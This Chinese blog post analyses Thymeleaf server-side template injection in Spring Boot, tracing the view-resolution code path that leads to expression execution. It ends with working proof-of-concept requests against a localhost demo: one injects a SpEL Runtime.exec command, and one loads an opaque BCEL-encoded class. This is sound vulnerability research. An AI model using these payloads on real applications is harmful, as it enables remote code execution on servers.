spring-boot-thymeleaf-ssti

阅读量    56857 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

spring-boot下的thymeleaf模板注入挺有趣的,本文尝试对该漏洞一探究竟,如有谬误,还请同学们指教。

https://github.com/veracode-research/spring-view-manipulation

本文使用该项目给出的demo进行调试分析,其中,spring-boot版本为2.2.0.RELEASE

 

启动

自动装配

首先,我们知道,在配置好spring-boot情况下,加入如下thymeleaf的mvn依赖,就可以实现thymeleaf的自动配置。

 <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
 </dependency>

thtmyleaf的自动配置类为org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration

排序viewResolvers

我们可以看到,在o.s.w.s.v.ContentNegotiatingViewResolver#initServletContext方法中,对viewResolvers进行初始化,初始化后包含了多个视图解析器(模板引擎),包括 BeanNameViewResolverViewResolverCompositeInternalResourceViewResolverThymeleafViewResolver

查看ThymeleafViewResolver源码,发现其order值为Integer.MAX_VALUE,通过sort方法排序过后的结果如下图所示(BeanNameViewResolver也是Integer.MAX_VALUE):

具体代码流可以参考这里的堆栈信息:

getOrder:282, ThymeleafViewResolver (org.thymeleaf.spring5.view)
...
initServletContext:206, ContentNegotiatingViewResolver (org.springframework.web.servlet.view)
...
refresh:550, AbstractApplicationContext (org.springframework.context.support)
...
refreshContext:397, SpringApplication (org.springframework.boot)
run:315, SpringApplication (org.springframework.boot)
...

 

视图解析

获得视图解析器

org.springframework.web.servlet.DispatcherServlet#render:用户发起的请求触发的代码会走到这里获取视图解析器,随后从resolveViewName获得最匹配的视图解析器。

org.springframework.web.servlet.view.ContentNegotiatingViewResolver#resolveViewName:在该方法中,先是通过getCandidateViews筛选出resolveViewName方法返回值不为null(即有效的)的视图解析器;之后通过getBestView方法选取“最优”的解,getBestView中的逻辑简而概之,优先返回重定向的视图动作,然后就是根据用户HTTP请求的Accept:头部字段与candidateViews数组中视图解析器的排序获得最优解的视图解析器,而前面所讲到的viewResolvers的排序正是参与决定了这一排序决策。

resolveViewName:227, ContentNegotiatingViewResolver (org.springframework.web.servlet.view)
resolveViewName:1414, DispatcherServlet (org.springframework.web.servlet)
render:1350, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
...
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
...

获得视图解析器名称

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod:该方法为获取视图名称的关键点,其中首先会调用invokeAndHandle(下面会讲该方法内的逻辑),之后返回getModelAnView方法执行结果的返回值。

o.s.w.s.m.m.a.ServletInvocableHandlerMethod#invokeAndHandle:在该方法中,会尝试获取前端控制器的return返回值,也就是说,如果前端Controller返回值中直接拼接了用户的输入,相当于控制了该视图名称;另外,当用户自定义的Controller方法的入参中添加了ServletResponse,这里的invokeForRequest中会触发ServletResponseMethodArgumentResolver#resolveArgumentmavContainerrequestHandled设置为true,而mavContainer.isRequestHandled()true导致了getModelAndview(...)返回值为null,也就不会有后面的漏洞触发流程。

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#getModelAndView:如果mavContainer.isRequestHandled()true,直接返回null。

org.springframework.web.servlet.DispatcherServlet#applyDefaultViewName:另外,如果前端Controller的方法返回值为null,即void方法类型,前面的流程无法拿到视图名称,后面会调用applyDefaultViewName方法将URI路径作为视图名称。

org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#transformPath:在将URI设置为视图名称的代码流程中,调用了该方法对URI进行格式调整,其中包括去除URI扩展名称。

...
getViewName:172, DefaultRequestToViewNameTranslator (org.springframework.web.servlet.view)
getDefaultViewName:1391, DispatcherServlet (org.springframework.web.servlet)
applyDefaultViewName:1087, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1046, DispatcherServlet (org.springframework.web.servlet)
。。。

使用视图解析器

org.thymeleaf.spring5.view.ThymeleafView#renderFragment:这里是漏洞触发的关键逻辑点之一,如果用户的输入拼接到了视图名称中,即控制了viewTemplateName变量。通过浏览代码,我们可以了解到,首先视图模板名称中需要包含::字符串,否则不会走入表达式执行代码中。

上图的o.t.s.e.StandardExpressionParser#parseExpression不重要,我们这里略过,其随后会走到org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess方法:这里的input变量就是上面viewTemplateName前后分别拼接了~{}后的字符串,随后这里使用PREPROCESS_EVAL_PATTERN正则对input进行匹配,正则内容为\_\_(.*?)\_\_ ,随后获取正则命中后的元组内容,即非贪婪匹配的.*?,随后讲该元组内容传入parseExpression方法并在这里触发了EL表达式代码执行。

 

POC构造

由触发的代码流程梳理可以得出触发表达式的条件:

①用户传入的字符串拼接到了Controller方法的返回值中且返回的视图非重定向(前面流程可用知晓,重定向优先级最高),或URI路径拼接了用户的输入且Controller方法参数中不带有ServletResponse类型的参数;

②视图引擎名称中需要包含::字符串;

③被执行表达式字符串前后需要带有两个下划线,即__${EL}__

④如果Payload在URI中,由于URI格式化的原因且我们的Payload中带有.符号,所以需要在URI末尾添加.

于是,我们可以构造出与作者有所差异的POC

POST /path HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

lang=::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}_______________

如果我们要利用该漏洞干点啥,建议还是结合BCEL一类的方式来利用更加方便(不过JDK251后BCEL使用不了),win弹计算器:

POST /path HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1010

lang=::__${"".getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$W$84$e2$f7$b7$t$c1$83$3dx$c4x1z$b1$w$R$83$e7$ed$b2$c1$c5$d2$92R$8c$fe$o$cf$5e$d4x$f0$H$f8$a3$8c$af$x$R$a3$7bx$_o$e6$cdL$de$7e$7c$be$bd$D$d8$c7$b6$F$Ts$W$e6$b1P$c0b$da$97L$y$9bX1$b1$ca$90$3fP$a1J$O$Z$b2$f5F$87$c18$8a$ba$92a$d6S$a1$3c$l$P$7c$Z_q$3f$m$c4$f1$o$c1$83$O$8fU$3aO$40$p$b9Q$a3$94$T$d1$c0$f5$a5$I$dc$W$7f$I$o$dem2$U$OD0$b1$$$b5$T$$n$cf$f8P$cb$u$9c$c1jG$e3X$c8$T$95$da$d8$T$d5$5e$9f$dfq$h$F$UM$ac$d9X$c7$GEP$aa$b0$b1$89$z$86Z$ca$bb$B$P$7b$ee$f1$bd$90$c3DE$nC$e5o8A$d3$c5$L$bf$_E$c2P$9dB$97$e30Q$D$ca$b5z2$f9$Z$e6$eb$N$ef$df$O$dda$c8$7b$v$Yv$ea$bf$d8v$S$ab$b0$d7$fc$zh$c5$91$90$a3Q$T$db$c8$d3$7f$a7$_$D$96$deB$d5$a2$c9$a5$ce$a8$e7v_$c0$9e4$3dC5$af$c1$Ml$aa$f6$f7$CJ$uS$_$60$f6G$7c$a1$cd$80$f2$x2N$f6$Z$c6$f5$p$8c$d3$t$8d$VI$97CV$bb90$a8$9a$84YH$3f$b2D$a8$ad$fd$81$8af2$9e$89$wH$e8h$b8$f6$Fz7$85$d0$t$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________

 

结语

spring-boot的自动化配置为开发部署带来了极大的便捷,这也对我们深入底层问题提搞了学习成本。该模板注入问题十分巧妙,起初让人感到不可思议。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多